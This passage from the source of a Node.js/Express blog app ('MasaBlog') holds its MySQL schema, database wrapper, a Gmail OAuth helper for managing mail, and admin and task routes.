NULL, `weather_api` text NOT NULL, `gmail_credentials` varchar(255) NULL, `gmail_tokens` varchar(255) NULL `is_active` tinyint(1) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; INSERT INTO `masa_admins` (`username`, `password`, `is_active`, `location`, `weather_api`) VALUES ( 'root', <PASSWORD>', 1, 'Vancouver,CA', 'you need to initialize'); CREATE TABLE `masa_thumbnails` ( `id` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(255) NOT NULL, `image_path` varchar(255) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_categories` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(255) NULL, `icon` varchar(255) NOT NULL, `is_active` tinyint(1) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_tags` ( `id` int(11) NOT NULL AUTO_INCREMENT, `name` varchar(255) NOT NULL, `description` varchar(255) NULL, `is_active` tinyint(1) NOT NULL, PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_posts` ( `id` int(11) NOT NULL AUTO_INCREMENT, `admin_id` int(11) NOT NULL, `category_id` int(11) NOT NULL, `title` varchar(255) NOT NULL, `created_at` datetime NOT NULL, `image_path` varchar(255) NOT NULL, `description` text NOT NULL, `sequence` int(11) NOT NULL, `body` mediumtext NOT NULL, `is_published` tinyint(1) NOT NULL, `is_active` tinyint(1) NOT NULL, PRIMARY KEY (`id`), FOREIGN KEY (`admin_id`) REFERENCES `masa_admins` (`id`), FOREIGN KEY (`category_id`) REFERENCES `masa_categories` (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_comments` ( `id` int(11) NOT NULL AUTO_INCREMENT, `reply_to` int(11) NULL, `post_id` int(11) NOT NULL, `username` varchar(255) NOT NULL, `email` varchar(255) NOT NULL, `comments` text NOT NULL, `date` datetime NOT NULL, `is_active` tinyint(1) NOT NULL, PRIMARY KEY (`id`), FOREIGN KEY (`post_id`) REFERENCES `masa_posts` (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_tasks` ( `id` int(11) NOT NULL AUTO_INCREMENT, `admin_id` int(11) NOT NULL, `description` varchar(255) NOT NULL, `created_at` datetime NOT NULL, PRIMARY KEY(`id`), FOREIGN KEY (`admin_id`) REFERENCES `masa_admins` (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_events` ( `id` int(11) NOT NULL AUTO_INCREMENT, `admin_id` int(11) NOT NULL, `title` varchar(255) NOT NULL, `start` datetime NOT NULL, `end` datetime NOT NULL, `all_day` tinyint(1) NOT NULL, `is_active` tinyint(1) NOT NULL, PRIMARY KEY (`id`), FOREIGN KEY (`admin_id`) REFERENCES `masa_admins` (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8; CREATE TABLE `masa_post_tag` ( `id` int(11) NOT NULL AUTO_INCREMENT, `post_id` int(11) NOT NULL, `tag_id` int(11) NOT NULL, PRIMARY KEY (`id`), FOREIGN KEY (`post_id`) REFERENCES `masa_posts` (`id`), FOREIGN KEY (`tag_id`) REFERENCES `masa_tags` (`id`)) ENGINE=InnoDB DEFAULT CHARACTER SET = utf8;<file_sep>/models/db.js 'use strict'; let mysql = require("mysql"); let config = require(__dirname + '/../docs/environments.js'); module.exports = { conn: null, connect () { this.conn = mysql.createConnection({ host: 'localhost', user: config.MYSQL_USER, password: config.MYSQL_PASSWORD, database: config.MYSQL_DATABASE }); }, query (query, params, callback) { this.conn.query(query, params, callback); }, getRow (query, params) { let _self = this; return new Promise(function (resolve, reject) { _self.conn.query(query, params, function (err, rows) { if (err) reject(err); else resolve(rows.length < 1 ? null : rows[0]); }); }); }, getResult (query, params) { let _self = this; return new Promise(function (resolve, reject) { _self.conn.query(query, params, function (err, rows) { if (err) reject(err); else resolve(rows); }); }); }, insertSync (table, data) { let _self = this; return new Promise(function (resolve, reject) { _self.conn.query("insert into " + table + " set ?", data, function (err, result, fields) { if (err) reject(err); else resolve(result.insertId); }); }); }, insert (table, data, callback) { this.conn.query("insert into " + table + " set ?", data, callback); }, updateSync (table, id, data) { let _self = this; return new Promise(function (resolve, reject) { _self.conn.query("update " + table + " set ? where id = ?", [data, id], function (err, result) { if (err) reject(err); else resolve(result.changedRows); }); }); }, update (table, id, data, callback) { this.conn.query("update " + table + " set ? where id = ?", [data, id], callback); }, deleteSync (table, id) { let _self = this; return new Promise(function (resolve, reject) { _self.conn.query("delete from " + table + " where id = ?", [id], function (err, result) { if (err) reject(err); else resolve(result.affectedRows); }) }); }, delete (table, id, callback) { this.conn.query("delete from " + table + " where id = ?", [id], callback); } };<file_sep>/helper/gmailHelper.js let fs = require('fs'); let co = require('co'); let google = require('googleapis'); let googleAuth = require('google-auth-library'); let util = require('./util.js'); let SCOPES = [ 'https://mail.google.com/', 'https://www.googleapis.com/auth/plus.login', 'https://www.googleapis.com/auth/userinfo.email', 'https://www.googleapis.com/auth/calendar', ]; let TOKEN_DIR = (process.env.HOME || process.env.HOMEPATH || process.env.USERPROFILE) + '/.credentials/'; /** * Interface of Authorizing Google API with credential information * * @param {String} gmail_credentials of the files that contains gmail credentials * @param {String} gmail_tokens of the files that contains gmail tokens * @param {Function} callback Function(OAuth2Client, Error) that is called when request is completed. */ function authorizeGoogleAPI(gmail_credentials, gmail_tokens, callback) { // Load client secrets from a local file. fs.readFile(TOKEN_DIR + gmail_credentials, function processClientSecrets(err, content) { if (err) { console.log('Error loading client secret file: ' + err); return callback(null, err); } // Authorize a client with the loaded credentials, then call the Gmail API. authorize(JSON.parse(content), gmail_tokens, callback); }); } /** * Authorize Google API with credential information * * @param {Object} credentials object contains credential (client secret, client id, redirect url) * @param {String} gmail_tokens of the files that contains gmail tokens * @param {Function} callback Function(OAuth2Client, Error) that is called when request is completed. */ function authorize(credentials, gmail_tokens, callback) { let clientSecret = credentials.web.client_secret; let clientId = credentials.web.client_id; let redirectUrl = credentials.web.redirect_uris[0]; let auth = new googleAuth(); let oauth2Client = new auth.OAuth2(clientId, clientSecret, redirectUrl); // Check if we have previously stored a token. fs.readFile(TOKEN_DIR + gmail_tokens, function (err, token) { if (err) { callback(oauth2Client, err); } else { oauth2Client.credentials = JSON.parse(token); if (oauth2Client.credentials.expiry_date >= new Date().getTime()) { oauth2Client.getRequestMetadata('', function (error, headers, response) { if (error) callback(oauth2Client, error); else { storeToken(gmail_tokens, oauth2Client.credentials); callback(oauth2Client, null); } }); } else { callback(oauth2Client, null); } } }); } /** * Generate URL to authorize Google Account to use it for your application * * @param {Object} oauth2Client object that's not authorized * @return {String} URL for authorizing google account */ function generateAuthURL(oauth2Client) { return oauth2Client.generateAuthUrl({ access_type: 'offline', approval_prompt: 'force', scope: SCOPES }); } /** * Get Tokens from code and create authorized oauth2Client object * * @param {Object} oauth object that includes credential information * @param {String} code string that contains tokens and expiration date of it * @param {String} gmail_tokens of the files that contains gmail tokens * @param {Function} callback Function(OAuth2Client, Error) that is called when request is completed. */ function getToken(oauth, code, gmail_tokens, callback) { let auth = new googleAuth(); let oauth2Client = new auth.OAuth2(oauth.clientId_, oauth.clientSecret_, oauth.redirectUri_); oauth2Client.getToken(code, function (err, token) { if (err) { console.log('Error while trying to retrieve access token', err); return callback(err, null); } oauth2Client.credentials = token; storeToken(gmail_tokens, token); callback(null, oauth2Client); }); } /** * Store tokens into file * * @param {String} fileName of gmail tokens file * @param {Object} token object that contains access token, refresh token and expiration date */ function storeToken(fileName, token) { try { fs.mkdirSync(TOKEN_DIR); } catch (err) { if (err.code != 'EEXIST') { throw err; } } fs.writeFile(TOKEN_DIR + fileName, JSON.stringify(token)); console.log('Token stored to ' + TOKEN_DIR + fileName); } /** * Get Profile of gmail account * * @param {Object} oauth object that includes credential information and tokens */ function getProfile (oauth) { return new Promise((resolve, reject) => { let people = google.people('v1'); let oauth2Client = createOAuth(oauth); people.people.get({ auth: oauth2Client, resourceName: 'people/me', personFields: 'emailAddresses,names', }, (error, response) => { if (error) reject(error); else { let name = response.names[0].displayName; let email = response.emailAddresses[0].value; resolve({name: name, email: email}); } }); }); } /** * Get array of messages in gmail inbox * * @param {Object} oauth object that includes credential information and tokens * @param {Function} callback Function(Error, Messages) that is called when request is completed. */ function getMessageList(oauth, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); gmail.users.messages.list({ auth: oauth2Client, userId: 'me' }, function (error, response) { co(function *() { if (error) return callback(error, null); if (!Array.isArray(response.messages)) return callback(null, []); let length = response.messages.length; let messages = []; for (let i = 0; i < length; i++) { let message = (yield getMessageHeader(gmail, oauth2Client, response.messages[i].id)); messages.push(message); } callback(null, messages); }).catch(function (e) { callback(e, null); }); }); } /** * Search message in gmail inbox * * @param {Object} oauth object that includes credential information and tokens * @param {String} query for searching inbox (e.g. "is:starred", "in:sent", "in:draft", "is:important", "in:trash") * @param {Function} callback Function(Error, Messages) that is called when request is completed. */ function searchMailBox(oauth, query, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); gmail.users.messages.list({ auth: oauth2Client, userId: 'me', q: query, }, function (error, response) { co(function *() { if (error) return callback(error, null); if (!Array.isArray(response.messages)) return callback(null, []); let length = response.messages.length; let messages = []; for (let i = 0; i < length; i++) { let message = (yield getMessageHeader(gmail, oauth2Client, response.messages[i].id)); messages.push(message); } callback(null, messages); }).catch(function (e) { callback(e, null); }); }); } /** * Get a specific message's headers like subject, sender, received date, labels and etc... * * @param {Object} gmail object that contains request methods * @param {Object} auth(oauth2Client) object that includes credential information and tokens * @param {String} id of specific message */ function getMessageHeader(gmail, auth, id) { return new Promise((resolve, reject) => { gmail.users.messages.get({ auth: auth, userId: 'me', id: id, format: 'metadata' }, function (error, response) { if (error) reject(error); else resolve(response); }); }); } /** * Get full information of a specific message * * @param {Object} oauth object that includes credential information and tokens * @param {String} id of specific message * @param {Function} callback Function(Error, Message) that is called when request is completed. */ function getMessage(oauth, id, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); gmail.users.messages.get({ auth: oauth2Client, userId: 'me', id: id, format: 'full', }, function (error, response) { if (error) callback(error, null); else callback(null, response); }); } /** * Get attachment(s) of specific message * * @param {Object} oauth object that includes credential information and tokens * @param {String} id of specific message * @param {Array} attachmentIds an array of attachment ids * @param {Function} callback Function(Error, Attachments) that is called when request is completed. */ function getAttachments(oauth, id, attachmentIds, callback) { co(function *() { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); let length = attachmentIds.length; let attachments = []; for (let i = 0; i < length; i++) { let attachment = (yield getAttachment(gmail, oauth2Client, id, attachmentIds[i])); attachments.push(attachment); } callback(null, attachments); }).catch(function (e) { callback(e, null); console.log(e); }); } /** * Get a specific attachment of specific message * * @param {Object} gmail object that contains request methods * @param {Object} auth(oauth) object that includes credential information and tokens * @param {String} messageId of specific message * @param {Array} attachmentId of specific attachment */ function getAttachment(gmail, auth, messageId, attachmentId) { return new Promise((resolve, reject) => { gmail.users.messages.attachments.get({ auth: auth, userId: 'me', messageId: messageId, id: attachmentId, }, (error, response) => { if (error) reject(error); else resolve(response); }); }); } /** * Move message(s) to trash * * @param {Object} oauth object that includes credential information and tokens * @param {Array} ids of messages * @param {Function} callback Function(Error, Results) that is called when request is completed. */ function trashMessages(oauth, ids, callback) { co(function *() { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); let length = ids.length; let results = []; for (let i = 0; i < length; i++) { let result = (yield trashMessage(gmail, oauth2Client, ids[i])); results.push(result); } callback(null, results); }).catch(function (e) { callback(e, null); }); } /** * Move a specific message to trash * * @param {Object} gmail object that contains request methods * @param {Object} auth(oauth) object that includes credential information and tokens * @param {String} id of a specific message */ function trashMessage(gmail, auth, id) { return new Promise((resolve, reject) => { gmail.users.messages.trash({ auth: auth, userId: 'me', id: id, }, function (error, response) { if (error) reject(error); else resolve(response); }); }); } /** * Move message(s) back to inbox from trash * * @param {Object} oauth object that includes credential information and tokens * @param {Array} ids of messages * @param {Function} callback Function(Error, Results) that is called when request is completed. */ function untrashMessages(oauth, ids, callback) { co(function *() { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); let length = ids.length; let results = []; for (let i = 0; i < length; i++) { let result = (yield untrashMessage(gmail, oauth2Client, ids[i])); results.push(result); } callback(null, results); }).catch(function (e) { callback(e, null); }); } /** * Move a specific message back to inbox from trash * * @param {Object} gmail object that contains request methods * @param {Object} auth(oauth) object that includes credential information and tokens * @param {String} id of a specific message */ function untrashMessage(gmail, auth, id) { return new Promise((resolve, reject) => { gmail.users.messages.untrash({ auth: auth, userId: 'me', id: id, }, function (error, response) { if (error) reject(error); else resolve(response); }); }); } /** * Modify labels of a specific message * * @param {Object} oauth object that includes credential information and tokens * @param {String} id of a specific message * @param {Array} labelToAdd Array of labels to add * @param {Array} labelToRemove Array of labels to remove * @param {Function} callback Function(Error, Result) that is called when request is completed. */ function modifyMessageLabel(oauth, id, labelToAdd, labelToRemove, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); gmail.users.messages.modify({ auth: oauth2Client, userId: 'me', id: id, resource: { addLabelIds: labelToAdd, removeLabelIds: labelToRemove, }, }, function (error, response) { if (error) callback(error, null); else callback(null, response); }); } /** * Send email via gmail * * @param {Object} oauth object that includes credential information and tokens * @param {Object} headers object that contains header information like sender, receiver, Mine type, and etc... * @param {String} message mail content body * @param {Function} callback Function(Error, Result) that is called when request is completed. */ function sendMessage(oauth, headers, message, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); let email = [ 'MIME-Version: 1.0\r\n', 'charset: \"UTF-8\"\r\n', 'Content-Transfer-Encoding: 7bit\r\n', 'Content-Type: ' + headers['Content-Type'] + '\r\n', (headers['In-Reply-To'] !== undefined ? ('In-Reply-To: ' + headers['In-Reply-To'] + '\r\n') : ''), 'to: ' + headers['to'] + '\r\n', 'from: ' + headers['from'] + '\r\n', 'subject: ' + headers['subject'] + '\r\n', '\r\n' + message ].join(''); gmail.users.messages.send({ auth: oauth2Client, 'userId': 'me', 'resource': { 'raw': new Buffer(email).toString("base64").replace(/\+/g, '-').replace(/\//g, '_'), } }, function (error, response) { if (error) callback(error, null); else callback(null, response); }); } /** * Send email with attachment(s) via gmail * * @param {Object} oauth object that includes credential information and tokens * @param {Object} headers object that contains header information like sender, receiver, Mine type, and etc... * @param {String} message mail content body * @param {String} boundary the string to separate multi part of mail body * @param {Array} attachments an Array of Object that contains data, name, type * @param {Function} callback Function(Error, Result) that is called when request is completed. */ function sendMessageWithAttachment(oauth, headers, message, boundary, attachments, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); let email = [ 'Content-Type: multipart/mixed; boundary="' + boundary + '"\r\n', 'MIME-Version: 1.0\r\n', (headers['In-Reply-To'] !== undefined ? ('In-Reply-To: ' + headers['In-Reply-To'] + '\r\n') : ''), 'to: ' + headers['to'] + '\r\n', 'from: ' + headers['from'] + '\r\n', 'subject: ' + headers['subject'] + '\r\n\r\n', '--' + boundary + '\r\n', 'Content-Type: ' + headers['Content-Type'] + '; charset="UTF-8"\r\n', 'MIME-Version: 1.0\r\n', 'Content-Transfer-Encoding: 7bit\r\n', '\r\n' + message + '\r\n\r\n', '--' + boundary + '\r\n', ].join(''); let attachmentLength = attachments.length; for (let i = 0; i < attachmentLength; i++) { email += ('Content-Type: ' + attachments[i].type + '\r\n'); email += 'MIME-Version: 1.0\r\n'; email += 'Content-Transfer-Encoding: base64\r\n'; email += ('Content-Disposition: attachment; filename="' + attachments[i].name + '"\r\n\r\n'); email += (attachments[i].data + '\r\n\r\n'); email += ('--' + boundary + (i === (attachmentLength - 1) ? '--' : '\r\n')); } gmail.users.messages.send({ auth: oauth2Client, 'userId': 'me', 'resource': { 'raw': new Buffer(email).toString("base64").replace(/\+/g, '-').replace(/\//g, '_'), } }, function (error, response) { if (error) callback(error, null); else callback(null, response); }); } /** * Check the expiration of access token and if so, renew access token by refresh token * * @param {Object} oauth object that includes credential information and tokens * @param {String} gmail_tokens of the files that contains gmail tokens * @param {Function} callback Function(Error, oauth2client, isUpdated) that is called when request is completed. */ function checkRefreshToken(oauth, gmail_tokens, callback) { let gmail = google.gmail('v1'); let oauth2Client = createOAuth(oauth); if (oauth2Client.credentials.expiry_date >= new Date().getTime()) { oauth2Client.getRequestMetadata('', function (error, headers, response) { if (error) callback(error, oauth2Client, true); else { storeToken(gmail_tokens, oauth2Client.credentials); callback(null, oauth2Client, true); } }); } else { callback(null, oauth2Client, false); } } /** * Create OAuth2Client object from credential information and tokens * * @param {Object} oauth object that includes credential information and tokens * @return {Object} OAuth2Client object that is created */ function createOAuth(oauth) { let auth = new googleAuth(); let oauth2Client = new auth.OAuth2(oauth.clientId_, oauth.clientSecret_, oauth.redirectUri_); oauth2Client.credentials = oauth.credentials; return oauth2Client; } /** * Extract mail body and attachments from specific message * * @param {Object} response gmail message object * @return {Object} extracted mail body and attachments information */ function extractMailBody(response) { let base64 = null, base64Plain = null; let attachments = []; let parts = [response.payload]; while (parts.length) { let part = parts.shift(); if (part.parts) { parts = parts.concat(part.parts); } if (part.mimeType === 'text/plain') { // Just in case message doesn't have text/plain version. base64Plain = part.body.data; } if(part.mimeType === 'text/html') { base64 = part.body.data; } else if (part.body.attachmentId) { let attachment = {}; attachment.id = part.body.attachmentId; attachment.filename = part.filename; attachment.contentType = part.mimeType; attachments.push(attachment); } } return {base64: (base64 !== null ? base64 : base64Plain), attachments: attachments}; } /** * Extract a specific field from header object of gmail * * @param {Object} json Message gmail message object * @param {String} fieldName name of field you want to extract * @return {String} Value of header object */ function extractFieldHeader (json, fieldName) { fieldName = fieldName.toLowerCase(); let header = json.payload.headers.filter(function(header) { return (header.name.toLowerCase() === fieldName); }); return (header.length !== 0 ? header[0].value : ''); } module.exports.authorizeGoogleAPI = authorizeGoogleAPI; module.exports.getToken = getToken; module.exports.checkRefreshToken = checkRefreshToken; module.exports.generateAuthURL = generateAuthURL; module.exports.getProfile = getProfile; module.exports.getMessageList = getMessageList; module.exports.getMessage = getMessage; module.exports.getAttachments = getAttachments; module.exports.trashMessages = trashMessages; module.exports.untrashMessages = untrashMessages; module.exports.modifyMessageLabel = modifyMessageLabel; module.exports.searchMailBox = searchMailBox; module.exports.sendMessage = sendMessage; module.exports.sendMessageWithAttachment = sendMessageWithAttachment; module.exports.extractMailBody = extractMailBody; exports.extractFieldHeader = extractFieldHeader;<file_sep>/routes/api/v1/tasks.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let util = require('../../../helper/util.js'); let taskModel = require('../../../models/taskModel.js'); router.get('/', function (req, res) { co(function *() { if (!req.cookies.user.id) throw new Error('Invalid User ID...'); let tasks = (yield taskModel.findByAdmin(req.cookies.user.id)); util.sendResponse(res, 200, tasks); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); let task = (yield taskModel.findById(id)); util.sendResponse(res, 200, task); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.post('/', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.cookies.user.id); if (!util.isValidId(id)) throw new Error('Invalid ID...'); if (req.body.description === '' || req.body.description === undefined || req.body.description === null) throw new Error('Description is required...'); let data = {admin_id: id, description: req.body.description, created_at: new Date()}; let result = (yield taskModel.insert(data)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.delete('/:id', util.allowAction, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (id !== parseInt(req.body.id) || !util.isValidId(id)) throw new Error('Invalid ID...'); let result = (yield taskModel.delete(id)); util.sendResponse(res, 200, result); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); module.exports = router;<file_sep>/routes/admin.js 'use strict'; let express = require('express'); let router = express.Router(); let co = require('co'); let fs = require('fs'); let moment = require('moment'); let config = require('../docs/environments.js'); let util = require('../helper/util.js'); let apiHelper = require('../helper/apiHelper.js'); let gmailHelper = require('../helper/gmailHelper.js'); let postModel = require('../models/postModel.js'); let categoryModel = require('../models/categoryModel.js'); let tagModel = require('../models/tagModel.js'); let thumbnailModel = require('../models/thumbnailModel.js'); let taskModel = require('../models/taskModel.js'); let commentModel = require('../models/commentModel.js'); let eventModel = require('../models/eventModel.js'); let relationModel = require('../models/relationModel.js'); let CREDENTIAL_DIR = (process.env.HOME || process.env.HOMEPATH || process.env.USERPROFILE) + '/.credentials/'; router.get('/', isAuthenticated, function (req, res) { res.render( 'admin/dashboard', {title: config.BLOG_NAME + " | Admin", user: req.cookies.user} ); }); router.get('/thumbnails', isAuthenticated, function (req, res) { co(function *() { let thumbnails = (yield thumbnailModel.findAll()); res.render( 'admin/gallery.jade', {title: config.BLOG_NAME + " | Gallery", thumbnails: thumbnails, user: req.cookies.user} ); }).catch(function (e) { console.log(e); util.renderError(res, e); }); }); router.get('/categories', isAuthenticated, function (req, res) { co(function *() { let categories = (yield categoryModel.findAll()); res.render( 'admin/categories.jade', {title: config.BLOG_NAME + " | Category", categories: categories, user: req.cookies.user} ); }).catch(function (e) { console.log(e); util.renderError(res, e); }); }); router.get('/tags', isAuthenticated, function (req, res) { co(function *() { let tags = (yield tagModel.findAll()); res.render( 'admin/tags.jade', {title: config.BLOG_NAME + " | Tags", tags: tags, user: req.cookies.user} ); }).catch(function (e) { console.log(e); util.renderError(res, e); }); }); router.get('/posts', isAuthenticated, function (req, res) { co(function *() { let posts = (yield postModel.findAll()); res.render( 'admin/posts.jade', {title: config.BLOG_NAME + " | Posts", posts: posts, user: req.cookies.user} ); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/posts/new', isAuthenticated, function (req, res) { co(function *() { let categories = (yield categoryModel.findAll()); res.render( 'admin/post_editor.jade', {title: config.BLOG_NAME + " | Post Editor", post: null, categories: categories, user: req.cookies.user} ); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/posts/edit/:id', isAuthenticated, function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid Post ID...'); let post = (yield postModel.findById(id)); let categories = (yield categoryModel.findAll()); res.render( 'admin/post_editor.jade', {title: config.BLOG_NAME + " | Post Editor", post: post, categories: categories, user: req.cookies.user} ); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/passwordReset', isAuthenticated, function (req, res) { res.render( 'admin/password_reset.jade', {title: config.BLOG_NAME + " | Password Reset", user: req.cookies.user} ); }); router.get('/profile', isAuthenticated, function (req, res) { if (req.cookies.user.gmail_credentials !== null && req.cookies.user.gmail_credentials !== '') { fs.readFile(CREDENTIAL_DIR + req.cookies.user.gmail_credentials, function (error, contents) { if (error) util.renderError(res, error); else { res.render( 'admin/profile.jade', {title: config.BLOG_NAME + " | Profile", user: req.cookies.user, credentials: JSON.parse(contents)} ); } }); } else { res.render( 'admin/profile.jade', {title: config.BLOG_NAME + " | Profile", user: req.cookies.user, credentials: null} ); } }); router.get('/messages', isAuthenticated, function (req, res) { let now = new Date().getTime(); let label = req.query.label !== undefined ? req.query.label : null; if (req.cookies.oauth === undefined || util.isEmpty(req.cookies.oauth.credentials) || req.cookies.oauth.expired < now) { res.clearCookie('oauth'); gmailHelper.authorizeGoogleAPI(req.cookies.user.gmail_credentials, req.cookies.user.gmail_tokens, function (oauth2Client, error) { if (oauth2Client === null && error) { util.renderError(res, error); console.log(error); } else { oauth2Client.expired = new Date().getTime() + (24 * 60 * 60 * 1000); // Current Time + 1 day res.cookie('oauth', oauth2Client); let authURL = (error ? gmailHelper.generateAuthURL(oauth2Client) : null); res.render( 'admin/mail_management.jade', {title: config.BLOG_NAME + " | Mail Management", authURL: authURL, label: label, user: req.cookies.user} ); } }); } else { res.render( 'admin/mail_management.jade', {title: config.BLOG_NAME + " | Mail Management", authURL: null, label: label, user: req.cookies.user} ); } }); router.get('/messages/:id', isAuthenticated, function (req, res) { let id = req.params.id; let oauth = req.cookies.oauth; let label = req.query.label !== undefined ? req.query.label : null; if (id === undefined || id === '') return util.renderError(res, "Invalid Messsage ID..."); gmailHelper.getMessage(oauth, id, function (error, response) { if (error) util.renderError(res, error); else{ let data = gmailHelper.extractMailBody(response); response.html = new Buffer(data.base64, 'base64').toString(); res.render( 'admin/mail.jade', {title: config.BLOG_NAME + " | Mail", message: response, attachments: data.attachments, extractFieldHeader: gmailHelper.extractFieldHeader, moment: moment, label: label, user: req.cookies.user} ); } }); }); router.get('/auth', isAuthenticated, function (req, res) { let code = req.query.code; gmailHelper.getToken(req.cookies.oauth, code, req.cookies.user.gmail_tokens, function (error, oauth) { if (error) return util.renderError(res, error); req.cookies.oauth.credentials = oauth.credentials; res.cookie('oauth', req.cookies.oauth); res.redirect('/admin/messages'); }); }); router.get('/comments', isAuthenticated, function (req, res) { co(function *() { let posts = (yield postModel.findPublishedWithOnlyTitle()); let length = posts.length; let comments = []; for (let i = 0; i < length; i++) { let comment = (yield commentModel.countByPost(posts[i].id)); if (comment.count === 0) continue; comment.post_id = posts[i].id; comment.title = posts[i].title; comments.push(comment); } res.render( 'admin/comments_list.jade', {title: config.BLOG_NAME + " | Comments", comments: comments, user: req.cookies.user} ); }).catch(function (e) { util.renderError(res, e); console.log(e); }); }); router.get('/comments/:post_id', function (req, res) { co(function *() { let id = parseInt(req.params.post_id); if (!util.isValidId(id)) throw new Error("Invalid Post ID..."); let comments = (yield commentModel.findByPost(id)); res.render( 'admin/comments.jade', {title: config.BLOG_NAME + " | Comments", moment: moment, comments: comments, postId: id, sender: config.MAIL_RECEIVER_USER,user: req.cookies.user} ); }).catch(function (e) { util.renderError(res, e); console.log(e); }); }); router.get('/data', isAuthenticated, function (req, res) { co(function *() { let data = {}; data.post = {}; data.post.count = (yield postModel.count()).count; data.post.posts = (yield postModel.findRecent(7)); data.category = (yield categoryModel.count()); data.tag = (yield tagModel.count()); data.thumbnail = (yield thumbnailModel.count()); data.comment = (yield commentModel.count()); data.events = (yield eventModel.findByAdmin(req.cookies.user.id)); data.tasks = (yield taskModel.findByAdmin(req.cookies.user.id)); if (!req.cookies.weather || parseInt(req.cookies.weather) < new Date().getTime()) { data.weather = (yield apiHelper.getWeatherInfo(req.cookies.user.location, req.cookies.user.weather_api)); let weather = {main: data.weather.main, weather: data.weather.weather, expired: new Date(new Date().getTime() + 30 * 60000)}; res.cookie('weather', weather, null); } else { console.log('Cashed data'); data.weather = req.cookies.weather; } util.sendResponse(res, 200, data); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); router.get('/posts/data/:id', function (req, res) { co(function *() { let id = parseInt(req.params.id); if (!util.isValidId(id)) throw new Error('Invalid Post ID...'); let relatedTags = (yield relationModel.findTagsByPost(id)); util.sendResponse(res, 200, {tags: relatedTags}); }).catch(function (e) { util.sendResponse(res, 500, e.message); console.log(e); }); }); function isAuthenticated(req, res, next) { if (!util.isAuthenticated(req, res)) return res.redirect('/login'); next(); } module.exports = router; <file_sep>/models/relationModel.js 'use strict'; let db = require('./db.js'); module.exports = { findPostsByTag (tag_id) { return db.getResult("select * from masa_posts where is_published=true and id in (select post_id from masa_post_tag where tag_id=?)", [tag_id]); }, findPostsByCategory (category_id) { return db.getResult("select * from masa_posts where is_published=true and id in (select post_id from masa_post_category where category_id=?)", [category_id]); }, findTagsByPost (post_id) { return db.getResult("select * from masa_tags where id in (select tag_id from masa_post_tag where post_id=?)", [post_id]); }, findTagNamesByPost (post_id) { return db.getRow("select group_concat(name separator ', ') as tags from masa_tags where id in (select tag_id from masa_post_tag where post_id=?)", [post_id]); }, findCategoryByPost (post_id) { return db.getRow("select * from masa_categories where id = (select category_id from masa_post_category where post_id=?)", [post_id]); }, insertPostTag (data) { return db.insertSync('masa_post_tag', data); }, insertPostTags (post_id, tag_ids) { return new Promise((resolve, reject) => { let tagLength = tag_ids.length; if (tagLength === 0) return reject('Tag is required...'); let data = []; for (let i = 0; i < tagLength; i++) { data.push([post_id, tag_ids[i]]); } db.query("insert into masa_post_tag(post_id, tag_id) values ?", [data], (error, result) => { if (error) reject(error); else resolve(result); }); }); }, deletePostTagById (id) { return db.deleteSync('masa_post_tag', id); }, deletePostTagByIds (post_id, tag_id) { return new Promise((resolve, reject) => { db.query("delete from masa_post_tag where post_id=? and tag_id=?", [post_id, tag_id], (error, result) => { if (error) reject(error); else resolve(result); }); }); }, };
a07b70335ebaaca2ad43ee9e65d0b36bccde4bc0
[ "JavaScript", "SQL", "YAML", "Markdown" ]
27
JavaScript
MasaCode/MasaBlog
2dfe97b26b74bb88def9fcd2adfb0d5d5abd02ea
bcbb9a3eec721fd0e58094b2ff3e1c403c257903
refs/heads/master
